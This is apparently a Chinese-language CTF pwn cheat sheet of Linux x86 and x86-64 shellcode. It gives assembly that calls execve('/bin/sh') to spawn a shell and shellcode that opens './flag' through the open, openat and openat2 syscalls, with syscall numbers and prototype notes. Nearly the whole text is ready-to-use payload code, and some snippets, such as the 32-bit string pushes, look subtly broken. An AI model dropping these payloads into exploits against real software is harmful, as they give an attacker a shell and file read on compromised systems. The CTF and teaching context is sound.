execve(”/bin/sh”,0,0)

32位:

xor ecx,ecx; # ecx=0
xor edx,edx; # edx=0
push edx;
push 0x0068732f; # 将/bin/sh\x00入栈
push 0x6e69622f;
mov ebx,esp; # ebx = /bin/sh\x00
mov eax,0xb; # execve 32位系统调用号
int 0x80;

64位:

xor rdx, rdx;
mov rax, 0x68732f2f6e69622f; "/bin//sh"
push rax;
pop rdi;
xor rsi, rsi;
xor rax, rax;
mov rax, 59;
syscall;

open系列

open

# open("./flag",0,0)
32位:
xor eax, eax;
push eax;
push 0x67616c66     ; "galf"
push 0x2f2e         ; "./"
mov ebx, esp;
xor ecx, ecx;
xor edx, edx;
mov al, 5;
int 0x80;

64位:
mov rax, 0x2f2e67616c66;
push rax;
mov rdi, rsp;
xor rsi, rsi;
xor rdx, rdx;
mov rax, 2;
syscall;

openat

函数原型:

int openat(int dirfd, const char *pathname, int flags, mode_t mode);
dirfd: 表示目录的文件描述符。如果是 AT_FDCWD,则相对路径是从当前工作目录开始查找。
pathname: 要打开的文件路径,例如"/flag"。
flags: 文件打开的标志,类似于 open 的标志,如 O_RDONLY、O_WRONLY、O_RDWR、O_CREAT 等。
mode: 新文件的权限,仅当使用 O_CREAT 时才需要。
mov rax, 0x67616c662f2e ; ./flag
push rax				; rax将"flag"入栈
mov rsi, rsp			; "flag"赋值给rsi,即文件路径
xor rax, rax			; 清零
xor rdi, rdi			; 清零
sub rdi, 100			; 注意这里有个-100,但有时候不一定要-
xor rdx, rdx			; 清零
mov r10, 7 				; rwx权限
mov rax, 0x101		; 系统调用号
syscall

openat2

函数原型:

int openat2(int dirfd, const char *pathname, struct open_how *how, size_t size);

struct open_how 结构体

struct open_how {
    __aligned_u64 flags;     // 与 open(2) 相同的 O_* 标志
    __aligned_u64 mode;      // 文件模式(仅用于 O_CREAT)
    __aligned_u64 resolve;   // 限制路径解析方式
};